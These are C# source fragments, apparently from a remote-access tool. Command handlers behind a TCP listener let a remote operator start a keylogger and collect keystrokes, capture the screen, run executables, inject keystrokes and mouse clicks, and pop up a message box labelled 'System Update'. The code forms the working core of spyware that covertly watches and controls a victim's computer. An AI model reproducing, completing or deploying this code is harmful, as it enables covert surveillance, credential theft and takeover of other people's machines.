public override void HandleCommand(CommadMessage message) { string msg = GetRequestType(message.Message); switch (msg.ToLower()) { case "startkeylog": message.StreamWriter.WriteLine(StartKeyLogging()); AcknowledgeClient(message); break; case "stopkeylog": message.StreamWriter.WriteLine(StopKeyLogging()); AcknowledgeClient(message); break; case "getkey": message.StreamWriter.WriteLine(GetKeys()); kl.KeyBuffer = ""; AcknowledgeClient(message); break; default: nextCommandHandler.HandleCommand(message); break; } }
public override void HandleCommand(CommadMessage message) { switch (GetRequestType(message.Message)) { case "exe": StartExe(argumentList[0]); break; case "message": MessageBox.Show(argumentList[0], "System Update", MessageBoxButtons.OK, MessageBoxIcon.Information); break; } }
public override void HandleCommand(CommadMessage message) { string msg = GetRequestType(message.Message); if (msg == "img") { byte[] buffer = Utility.GetScreenImageAsBytes(); message.StreamWriter.BaseStream.Write(buffer, 0, buffer.Length - 1); } else { nextCommandHandler.HandleCommand(message); message.StreamWriter.WriteLine("Done"); } }
public override void HandleCommand(CommadMessage message) { string msg = GetRequestType(message.Message); switch (msg) { case "keyup": SendKeys.SendWait(argumentList[0]); AcknowledgeClient(message); break; default: nextCommandHandler.HandleCommand(message); break; } }
public override void Start() { //TcpListener is listening on the given port... { tcpListener = new TcpListener(int.Parse(this.Port)); tcpListener.Start(); //Accepts a new connection... while (true) { Socket socketForClient = tcpListener.AcceptSocket(); //StreamWriter and StreamReader Classes for reading and writing the data to and fro. //The server reads the meassage sent by the Client ,converts it to upper case and sends it back to the client. //Lastly close all the streams. try { if (socketForClient.Connected) { while (true) { Console.WriteLine("Client connected"); NetworkStream networkStream = new NetworkStream(socketForClient); StreamWriter streamWriter = new StreamWriter(networkStream); StreamReader streamReader = new StreamReader(networkStream); string line = streamReader.ReadLine(); // Console.WriteLine("Read:" + line); CommadMessage msg = new CommadMessage(line, streamWriter); commandHandler.HandleCommand(msg); streamWriter.Flush(); streamWriter.Close(); streamWriter.Dispose(); streamReader.Close(); streamReader.Dispose(); networkStream.Close(); networkStream.Dispose(); } } socketForClient.Close(); Console.WriteLine("Exiting..."); } catch (Exception e) { Console.WriteLine(e.ToString()); } } }
public override void HandleCommand(CommadMessage message) { string msg = GetRequestType(message.Message); switch (msg) { case "mouseclickleft": MouseSimulater.MoveTo(new System.Drawing.Point(int.Parse(argumentList[0]), int.Parse(argumentList[1]))); MouseSimulater.Click_Left(int.Parse(argumentList[0]), int.Parse(argumentList[1])); break; case "mouseclickright": MouseSimulater.MoveTo(new System.Drawing.Point(int.Parse(argumentList[0]), int.Parse(argumentList[1]))); MouseSimulater.Click_Right(int.Parse(argumentList[0]), int.Parse(argumentList[1])); break; default: nextCommandHandler.HandleCommand(message); break; } }
protected bool ReadCommand() { serverStream.BaseStream.Position = 0; string command = serverStream.ReadToEnd(); if (command != null && command.Trim() != "") { command = GetNewRequest(command); if (command.Trim() == "") { return(true); } if (string.Compare(command.Trim(), "disconnect", StringComparison.InvariantCulture) == 0) { return(false); } CommadMessage msg = new CommadMessage(command, clientStream, this.Port, LastMsgGuid); this.commandHandler.HandleCommand(msg); } return(true); }
public override void HandleCommand(CommadMessage message) { string msg = GetRequestType(message.Message); if (msg == "img") { try { if (SI.File.Exists(message.Port + @"\Screen.jpeg")) { SI.File.Delete(message.Port + @"\Screen" + Guid.NewGuid().ToString() + ".jpeg"); } Utility.GetScreenImageAsImage().Save(message.Port + @"\Screen.jpeg", ImageFormat.Jpeg); } catch { } finally { AcknowledgeClient(message); } } else { nextCommandHandler.HandleCommand(message); } }
public new void HandleCommand(CommadMessage message) { base.HandleCommand(message); }